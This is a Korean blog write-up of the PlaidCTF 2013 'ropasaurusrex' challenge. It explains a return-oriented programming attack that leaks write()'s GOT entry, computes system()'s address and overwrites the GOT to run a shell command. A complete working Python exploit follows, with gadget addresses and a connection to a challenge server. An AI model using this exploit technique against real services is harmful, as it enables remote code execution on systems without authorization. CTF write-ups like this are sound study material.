본문 바로가기

Conference/Write up

PCTF 2K13 ropasaurusrex




ROP 하나씩.



오버플로우는 140 바이트 넣으면 뜨는건 일단 쉽게 보인다.




to do list

write 를 이용해서 메모리 릭으로 GOT 얻는 것.

read 를 이용해서 계산된 system 함수의 주소를 얻는 것.

system 함수로 커맨드라인 컨트롤

write() 함수로 커맨드라인 전송



풀이 1. http://codezen.fr/2013/04/22/plaidctf-2013-pwnable-200-ropasaurusrex-write-up/


pop4ret 를 이용해서 ROP 스택 사이의 스택들을 채울 것이다.




일단 쓰이고 있는 메인 함수들이 네 개 밖에 없다


Relocation section '.rel.plt' at offset 0x29c contains 4 entries:

 Offset     Info    Type            Sym.Value  Sym. Name

08049610  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__

08049614  00000207 R_386_JUMP_SLOT   00000000   write

08049618  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main

0804961c  00000407 R_386_JUMP_SLOT   00000000   read


libc 에서의 함수 주소와 실제 메모리상의 함수 PLT 주소를 알고 있으면

그 차이를 통해 libc의 베이스를 알 수 있음.


그래서 read write 를 일단 쓰는데

read 로 write 의 정확한 위치를 알고,

write 에 system 을 덮어쓰고

write 를 호출한다.




write( 소켓, write 함수 got , 4)

이러면 write 함수 값 들어오고 그걸로 system 함수 값 계산

read( 소켓, 특정 위치,  4)<<== 계산값대입

read( 소켓, 데이터, 데이터길이 ) <<== 시스템 문자열

write( 소켓, write 함수 got 위치, 4)  ==> system 함수 실행






PLT 와 GOT 위치 정리가 필요할듯.


PLT 영역의 값들은 변하지 않기 때문에 함수 호출을 할 때 plt 영역의 값을 이용한다.

objdump 해서 나오는 값을 찾던지 gdb 를 하던지 하도록 하고


readelf 에서 나오는 .rel.plt 의 함수 offset 은 실제 libc 의 함수를 가리키는 포인터.

얘를 덮어쓰도록 해야 한다


bss 근처 값에다가 문자열 삽입하면 됨



from socket import * 

import struct

import time


from struct import pack, unpack



popret = 0x080484B8

pop2ret = 0x80484b7

pop3ret = 0x80484b6


str = "ls -al"

strbuf = 0x8049640

#strbuf = 0x08049620


writeplt = 0x804830c

readplt  = 0x804832c


writegot = 0x8049614



buf = "A"*140


buf += pack("<I", writeplt)

buf += pack("<I", pop3ret)


buf += pack("<I", 1)

buf += pack("<I", writegot)

buf += pack("<I", 4)


# read to function "write"'s got.

buf += pack("<I", readplt)

buf += pack("<I", pop3ret)


buf += pack("<I", 0)

buf += pack("<I", writegot)

buf += pack("<I", 4)


# read to strbuf about command

buf += pack("<I", readplt)

buf += pack("<I", pop3ret)


buf += pack("<I", 0)

buf += pack("<I", strbuf)

buf += pack("<I", len(str))


# call system

#buf += pack("<I", readplt)

buf += pack("<I", writeplt)

buf += pack("<I", 0xdeadbeef)


buf += pack("<I", strbuf)





s=socket(AF_INET, SOCK_STREAM)

s.connect(("203.229.206.22", 40645))

s.send(buf)


recv = s.recv(4);


got = unpack("<I", recv[0:4])[0]

print hex(got);

#systemplt = got - (0xbf190 - 0x39450)

systemplt = got - (0x217f50 - 0x1847e0)

#time.sleep(0.1)


s.send( pack("<I",systemplt) )


time.sleep(0.1)


s.send(str)


print s.recv(1024)


s.close()


'Conference > Write up' 카테고리의 다른 글

codegate - hunting  (0) 2017.02.16
IMS-hard - RC3 CTF 2016 400pt  (0) 2016.11.21
IMS-easy - RC3 CTF 2016 150pt  (0) 2016.11.21
defcon24 - feedme  (0) 2016.06.08
2014 DEFCON - sftp  (0) 2014.06.08